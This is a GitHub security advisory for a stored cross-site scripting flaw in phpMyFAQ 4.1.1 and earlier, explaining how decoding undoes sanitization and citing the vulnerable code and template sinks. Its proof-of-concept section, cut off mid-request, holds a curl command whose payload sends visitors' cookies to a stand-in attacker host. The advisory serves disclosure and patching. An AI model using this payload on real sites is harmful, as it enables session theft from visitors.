GitHub Security Advisory: GHSA-f5p7-2c9q-8896
Package: thorsten/phpmyfaq (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 4.1.1
Patched in: 4.1.2

Summary: phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization

Details:
## Summary

The FAQ creation and update endpoints in phpMyFAQ apply `FILTER_SANITIZE_SPECIAL_CHARS` (which HTML-encodes input), then immediately call `html_entity_decode()` which reverses the encoding, followed by `Filter::removeAttributes()` which only strips HTML attributes — not tags. This allows `<script>`, `<iframe>`, `<object>`, and `<embed>` tags to be stored in the database and rendered unescaped via `{{ answer|raw }}` and `{{ question|raw }}` in the Twig template, causing JavaScript execution in every visitor's browser.

## Details

**Vulnerable code path (FAQ create — `FaqController.php`):**

At line 120, the answer content is filtered:
```php
$content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);
```

`Filter::filterVar()` calls `filterSanitizeString()` (`Filter.php:135-144`) which applies `htmlspecialchars()`, converting `<script>` to `&lt;script&gt;`. The regex `/\x00|<[^>]*>?/` then finds no literal angle brackets to strip.

At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:
```php
->setAnswer(Filter::removeAttributes(html_entity_decode(
    (string) $content,
    ENT_QUOTES | ENT_HTML5,
    encoding: 'UTF-8',
)))
```

`html_entity_decode()` converts `&lt;script&gt;` back to `<script>`, fully reversing the earlier sanitization. `Filter::removeAttributes()` (`Filter.php:150-196`) only matches and strips `attribute=value` patterns from a known list of HTML attributes (event handlers like `onclick`, `onerror`, etc.) but performs **no tag-level filtering**. A `<script>` tag with no attributes passes through completely unchanged.

The identical pattern exists in the update endpoint at lines 389-398.

**Rendering sink (`faq.twig`):**

```twig
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
<article class="pmf-faq-body pb-4 mb-4 border-bottom">{{ answer|raw }}</article>
```

The `|raw` filter disables Twig's auto-escaping, causing the stored `<script>` tag to execute in every visitor's browser.

Additional rendering sinks exist in `search.twig` (line 75, 77) where search results also render FAQ content with `|raw`.

## PoC

**Prerequisites:** Authenticated session with `FAQ_ADD` permission and a valid CSRF token.

**Step 1: Create a malicious FAQ**
```bash
curl -X POST 'https://target/admin/api/faq/create' \
  -H 'Cookie: PHPSESSID=<admin_session>' \
  -H 'Content-Type: application/json' \
  -d '{
    "data": {
      "pmf-csrf-token": "<valid_csrf_token>",
      "question": "Harmless FAQ Title",
      "answer": "Helpful content<script>fetch(\"https://attacker.example/steal?c=\"+document.cookie)</script>",
      "categories[]": 1,
      "lang": "en",
      "tags": "",
      "active": "yes",
      "sticky": "no",
      "keywords": "test",
      "author": "Admin",
      "email": "admin@example.com",
      "comment": "n",
      "changed": "Initial",
      "notes": "",
      "serpTitle": "Harmless FAQ",
      "serpDescription": "Test",
      "openQuestionId": 0,
      "notif